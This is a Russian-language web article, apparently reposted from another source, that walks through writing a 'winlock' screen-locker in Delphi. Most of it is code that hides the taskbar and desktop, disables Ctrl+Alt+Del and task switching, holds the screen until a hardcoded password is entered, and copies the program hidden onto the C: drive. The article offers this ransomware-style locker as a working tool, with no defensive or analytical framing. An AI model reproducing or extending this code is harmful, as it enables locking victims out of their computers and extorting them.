January 24 2019 03:54:30
Активаторы
         

         

          

Иерархия статей

Статьи » Мои статьи » winlock (delphi)
winlock (delphi)
happy-hack.ru/uploads/posts/2012-07/thumbs/1343145498_full-winlock2741.png
Чтобы написать данную программу нужно:
1. Delphi.
2. 2 руки.
3. Голова.
4. 500 рублей (которые в конце урока вы отошлёте мне)
Запускаем Delphi, кидаем на форму TImage (Чтобы загрузить картинку блокиратора) TEdit, TButton.

Начинаем кодинг!
Код:

procedure TForm1.CreateParams(var T : TCreateParams);
begin
inherited Createparams(T);
with T do
Style := (Style or WS_POPUP) and not WS_DLGFRAME;
end;

Выше написанный код, не обязателен.

Создаем событие OnActivate у Form1.
Пишем это:

Код:

procedure TForm1.FormActivate(Sender: TObject);
var
hTaskBar : THandle;
begin
Edit1.Clear;
//исключаем из списка ALT+CTRL+DEL
ShowWindow (Application.handle, SW_HIDE);
//Размер формы:=Размеру Экрана
form1.Height:=screen.Height;
form1.Width:=screen.Width;
//Отключаем ALT+CTRL+DEl ALT+TAB CTRL+ESC
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);
//Убираем Панель задач
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_HIDE);
//Убираем Иконки с рабочего стола
ShowWindow(FindWindow(nil,’Program Manager’),SW_HIDE);
end;
Ставим вводные символы в TEdit под звездочки.
Код:
procedure TForm1.Edit1Change(Sender: TObject);
begin
Edit1.PasswordChar:=’*';
end;

Можно конечно в Object Inspector выставить данный параметр, но буду придерживаться оригинальной статье.

Код:

procedure TForm1.Button1Click(Sender: TObject);
var
hTaskBar : THandle;
Password:string[10];
begin
Password:=edit1.text;
If (Password=’grabberz.com?) then
begin
//включаем alt+ctrl+del alt+tab ctrl+esc
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0);
//Показываем иконки на рабочем столе
ShowWindow(FindWindow(nil,’Program Manager’),SW_SHOW);
//Показываем Панель Задач
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_SHOWNORMAL);
//Закрываем прогу
Close;
end

Делаем проверку на правильность пароля:

Код:

else
begin
Messagedlg(‘Неверный пасс для разблокировки… введите коректный пасс…’,mterror,[mbok],0);
Edit1.Clear;
end;
Все. Как пишет автор оригинальной статьи, чтобы добавить программу в автозагрузку надо пользоваться этим:
Код:
CopyFile(PChar(ParamStr(0)), PChar('C:\'+ 'название винлока (любое название).exe'),True);
SetFileAttributes('C:\название винлока (любое название).exe', faHidden);


Автор статьи не я, я лишь исправил некоторые вещи, и исправил текст.
Ответственности за код не несу.

Рейтинг

Нет опубликованных рейтингов.

Рейтинг доступны только для пользователей.
Пожалуйста, авторизуйтесь или зарегистрируйтесь для голосования.


Авторизация
Логин

Пароль




Забыли пароль?
Запросите новый здесь.
· Новостей: 37
· Статей: 92
· Файлов: 168
· Изображений: 0
· Ссылок: 0
· Темы форума: 815
· Сообщений на форуме: 822
· Пользователей: 1527
· Комментарии: 507
Счетчик
Яндекс.Метрика
Анализ сайта
Рейтинг@Mail.ru
2,010,339 уникальных посетителей